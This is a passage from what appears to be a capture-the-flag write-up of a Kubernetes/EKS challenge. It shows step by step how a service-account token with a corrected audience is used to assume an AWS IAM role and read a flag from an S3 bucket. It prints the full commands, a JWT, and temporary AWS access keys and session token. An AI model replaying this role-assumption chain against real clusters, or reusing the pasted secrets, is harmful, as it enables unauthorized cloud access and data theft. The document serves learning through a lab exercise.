"resourceVersion": "671929",
"uid": "6cb6024a-c4da-47a9-9050-59c8c7079904"
}
},
{
"apiVersion": "v1",
"kind": "ServiceAccount",
"metadata": {
"creationTimestamp": "2023-10-31T20:07:11Z",
"name": "default",
"namespace": "challenge5",
"resourceVersion": "671804",
"uid": "77bd3db6-3642-40d5-b8c1-14fa1b0cba8c"
}
},
{
"apiVersion": "v1",
"kind": "ServiceAccount",
"metadata": {
"annotations": {
"eks.amazonaws.com/role-arn": "arn:aws:iam::688655246681:role/challengeEksS3Role"
},
"creationTimestamp": "2023-10-31T20:07:34Z",
"name": "s3access-sa",
"namespace": "challenge5",
"resourceVersion": "671916",
"uid": "86e44c49-b05a-4ebe-800b-45183a6ebbda"
}
}
],
"kind": "List",
"metadata": {
"resourceVersion": ""
}
}
It bunch of serviceaccount but we need specify what we can create
because on permission we can create a service account. Using the auth
for specify target
With auth
command, you can create debug-sa
with arn: challengeTestRole
but expected we need to assume s3access-sa
with arn: challengeEksS3Role
for policy to reaching s3
. Therefore, Back to kubectl
to finding out what specially in debug-sa
. Go and check it documentation
And via Write up i find out this documentation will help me create token and assume token for aws to access bucket
> kubectl create token debug-sa
eyJhbGciOiJSUzI1NiIsImtpZCI6IjJiOWJkZDViNzk2YTc1NTM2NWVhN2IxZTE1N2NmNTU4NmVmOTgyNDYifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTcwMjE5ODg5OCwiaWF0IjoxNzAyMTk1Mjk4LCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLXdlc3QtMS5hbWF6b25hd3MuY29tL2lkL0MwNjJDMjA3QzhGNTBERTRFQzI0QTM3MkZGNjBFNTg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjaGFsbGVuZ2U1Iiwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlYnVnLXNhIiwidWlkIjoiNmNiNjAyNGEtYzRkYS00N2E5LTkwNTAtNTljOGM3MDc5OTA0In19LCJuYmYiOjE3MDIxOTUyOTgsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjaGFsbGVuZ2U1OmRlYnVnLXNhIn0.VfoPdBwSunhufQjZOnnX3UZD9O4hqxZXMMP4yqSvdojl3X1HlT8bX-uINxYsvAbXiJgwiht-Q2PvVKuDs8nNse8Tb3lXSlGKtBjkYRdONnQVfGKrLfuYdtMYOg2OWx5jHffZD9KbAa54jaPQtu3Z8aewXvJuq3NZLbFeskhICKgJs7vF5zWY_uMomMUwggSwmT8UX6ZxzFO3_eNhyQwbF2bn6QntbMcUeJhL8p6vE2ZOogXN7joi2-BTPAzEmA-2dvXYefU_trk5XJy8rAaSCDPIJaAxmZcm_KJsuL6Lk8-1gepStwdj50uWrnCqxGFUq9hDNfpn84DKSoTmrjLGpA
Token is jwt
so decode that and you will have some things need to consider
aud
: this kind need to be considering but you make failure you understand how need effected by this variableiss
: https://oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589
What do you do with that token ? It will use for asigning role with arn: s3-role
via this token by aws sts
command. It will generated you a IAM authentication key for accessing s3. Go and checkit on documentation
Check a again a trust policy for find out arn role need to assign. You can use command aws sts assume-role-with-web-identity
which can help you assume role for returning a set of temporary security credentials for users who have been authenticated in a mobile or web application with a web identity provider
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name s3Access --web-identity-token $TOKEN
An error occurred (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience
Not luckily, something go wrong and it about audience. Like i said above, aud
is need consider to making comprasion between trustpolicy and token generated
TrustPolicy audience: sts.amazonaws.com
Token audience kubernetes.default.svc
Therefore, it make the assume progressing failure. Try again with flag --audience
in kubectl
for generating right token
export TOKEN=$(kubectl create token debug-sa --audience sts.amazonaws.com)
Yup, right audience and nothing specify changing. So repeating aws sts
for assume role with new token
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name s3Access --web-identity-token $TOKEN
{
"Credentials": {
"AccessKeyId": "ASIA2AVYNEVMSBOBSNUL",
"SecretAccessKey": "rNo2zg7lpkZwsbBdXfa9IkX7c2MvflRlhaGvTHY/",
"SessionToken": "IQoJb3JpZ2luX2VjEIH//////////wEaCXVzLXdlc3QtMSJHMEUCIQDw6p7ZHZVBtVyqlZ4tN5VU0hGNWrKnIYX/PqqQvEUHgwIgJgMoNQM0787ueof9DBGFdzYZ56/3qHELU0nEOQEYRxYqwgQI6v//////////ARAAGgw2ODg2NTUyNDY2ODEiDOY5xXB7pTkHU6oPwCqWBCqghxXkEf1Qr7x3K7vxKok19iML7tEWO2FcFMqIe1Rs/L1IWdHRNR0eF4NqCqtQAud5kQ5qCJdAS/rQeyh1wpFfOPeGxxaJDlHDpnTflMGbjQwOFQLdbUIooN9/aMqXyQkZw19E3bz8c93h6zVqTkyseKyPulQVBeUQ+I/9pcXrNhurjPRZA5jAyye6kvhEqtyus58/gnie272/s23Hh3IKUr0zXZNZYxJ8LRkbXHvX8hFnqJRTaMWCIsie+ZCGqDHm24PfyebIlfO6l8SjyS4w4ZJO6DjZ7Ubgm4jlA9/yOP8Y1i9Z+yeD1UhWml+nV+MMh1hgy/cAChUfW2LBcIqdcd9Z/yWsoNjnArlsOreBW8pnqVFWCe4HZNA7beSWxSZ1yNr1YB+4HBHl0cjMLBuJ/++r6RkLAMtOSwiU0TyRAhFXNyX1DrdaHRWylcUUis3u7jnoweV5mINrfIRlbF7JDmQS422CCKMa9DlvmqBks8/ikmtRcXoJID6T5FFv9zZTHkwbxf2KyPCpBgwShjJLACpvNSsrqMVKb1gnBDV2SI6VNGz2Hv1WFg5HI4gVGMgRaHC8aDV5mQ5ot1YK30F0VakU7UPZs8Jy2TJn5gJhCEMZtzcQoVp6+3udgPjJ0y2qyPMlohe2KLhI8Iee6rhE0Z79CdSdsrtASB1xgwOpVluXLpiamUXDIwXym9D7P/qnFL9h2TCAg9arBjqVAXTMDWKU1DXYiU5FCJOUHBhjlfO5ZvJZGwVWitzX3Z1TvQvXOIknz0IgEVAHihv2gDtB6HAUgbJ71kgn2uirAZBJlT2x7i63WjFX8ZVL0gQb1lSUQLBl7JyR4L8GuDdB10i/531/5Et1vmh6qm+iYOd3OEcbYB7AfgDFkFI/0kP4mOCCxSwi6Jq+448w9NdyillOr9Rg",
"Expiration": "2023-12-10T10:14:40+00:00"
},
"SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
"AssumedRoleUser": {
"AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:s3Access",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/s3Access"
},
"Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"Audience": "sts.amazonaws.com"
}
Again, we need put the environment for specify role and check it with aws sts
for getting the s3Access
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMSBOBSNUL
export AWS_SECRET_ACCESS_KEY="rNo2zg7lpkZwsbBdXfa9IkX7c2MvflRlhaGvTHY/"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEIH//////////wEaCXVzLXdlc3QtMSJHMEUCIQDw6p7ZHZVBtVyqlZ4tN5VU0hGNWrKnIYX/PqqQvEUHgwIgJgMoNQM0787ueof9DBGFdzYZ56/3qHELU0nEOQEYRxYqwgQI6v//////////ARAAGgw2ODg2NTUyNDY2ODEiDOY5xXB7pTkHU6oPwCqWBCqghxXkEf1Qr7x3K7vxKok19iML7tEWO2FcFMqIe1Rs/L1IWdHRNR0eF4NqCqtQAud5kQ5qCJdAS/rQeyh1wpFfOPeGxxaJDlHDpnTflMGbjQwOFQLdbUIooN9/aMqXyQkZw19E3bz8c93h6zVqTkyseKyPulQVBeUQ+I/9pcXrNhurjPRZA5jAyye6kvhEqtyus58/gnie272/s23Hh3IKUr0zXZNZYxJ8LRkbXHvX8hFnqJRTaMWCIsie+ZCGqDHm24PfyebIlfO6l8SjyS4w4ZJO6DjZ7Ubgm4jlA9/yOP8Y1i9Z+yeD1UhWml+nV+MMh1hgy/cAChUfW2LBcIqdcd9Z/yWsoNjnArlsOreBW8pnqVFWCe4HZNA7beSWxSZ1yNr1YB+4HBHl0cjMLBuJ/++r6RkLAMtOSwiU0TyRAhFXNyX1DrdaHRWylcUUis3u7jnoweV5mINrfIRlbF7JDmQS422CCKMa9DlvmqBks8/ikmtRcXoJID6T5FFv9zZTHkwbxf2KyPCpBgwShjJLACpvNSsrqMVKb1gnBDV2SI6VNGz2Hv1WFg5HI4gVGMgRaHC8aDV5mQ5ot1YK30F0VakU7UPZs8Jy2TJn5gJhCEMZtzcQoVp6+3udgPjJ0y2qyPMlohe2KLhI8Iee6rhE0Z79CdSdsrtASB1xgwOpVluXLpiamUXDIwXym9D7P/qnFL9h2TCAg9arBjqVAXTMDWKU1DXYiU5FCJOUHBhjlfO5ZvJZGwVWitzX3Z1TvQvXOIknz0IgEVAHihv2gDtB6HAUgbJ71kgn2uirAZBJlT2x7i63WjFX8ZVL0gQb1lSUQLBl7JyR4L8GuDdB10i/531/5Et1vmh6qm+iYOd3OEcbYB7AfgDFkFI/0kP4mOCCxSwi6Jq+448w9NdyillOr9Rg"
aws sts get-caller-identity
{
"UserId": "AROA2AVYNEVMZEZ2AFVYI:s3Access",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/s3Access"
}
Like expected, we got the challengeEksS3Role
for access s3. Try aws s3
command to get the flag
> aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag -
wiz_eks_challenge{w0w_y0u_really_are_4n_****_exp1oitation_legend}
Flag: wiz_eks_challenge{w0w_y0u_really_are_4n_****_exp1oitation_legend}
aws
, that actually importance things will make a different between the secure or unsecure system.Hackwekend
.Happy hacking and stay safe. Bye and see you later
Learn More →